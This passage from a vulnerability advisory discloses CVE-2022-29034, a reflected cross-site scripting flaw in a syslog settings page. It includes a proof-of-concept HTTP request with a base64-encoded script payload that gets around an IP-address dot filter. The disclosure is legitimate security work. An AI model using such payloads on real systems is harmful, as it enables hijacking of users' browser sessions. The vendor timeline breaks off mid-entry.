Vulnerability overview/description: ----------------------------------- 1) Reflected Cross Site Scripting (CVE-2022-29034) The application contains a reflected cross-site-scripting vulnerability that can be used to execute JavaScript code in the victim's browser. Proof of concept: ----------------- 1) Reflected Cross Site Scripting (CVE-2022-29034) The error occurs when setting the syslog server to an illegal IP address. An error message will pop up and will reflect the supplied IP address. However, the popup message does not use the proper JQuery method, and thus allows to inject JavaScript code. Note that dots can not be used in the JavaScript payload, as they will get filtered by the IP parser that runs beforehand. This was circumvented by supplying the JavaScript code in base64. Following request can be used to trigger the XSS: POST /services/syslog_client_settings HTTP/1.1 Host: $host Cookie: sessionid=708xmctjzk39og596jp4q4r1udfom4l5; csrftoken=sP8NzwJozla1k18xrRzsXiY0zq16IyBddtlDA1C5BC1Orf0oGcqUPr2bpUv1VGLu Content-Length: 153 X-Requested-With: XMLHttpRequest X-Csrftoken: U5AQMbPh3JTcdfdBkgIvaLtoitpS7jUVFJNGNGIY50KZkt5szBzX2Uxz8XTNkr4c Referer: https://$host/services/syslog_client_settings Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close address=127.0.0.1.<script>eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))</script>&port=1234&pr otocol=tcp&client_authentication=false&certificate=62&mode= Vulnerable / tested versions: ----------------------------- The following version has been tested and found to be vulnerable: * V3.0.1.0-01.01.00.02 Vendor contact timeline: ------------------------ 2022-04-01: Sending advisory via Cette adresse e-mail est protégée contre les robots spammeurs.
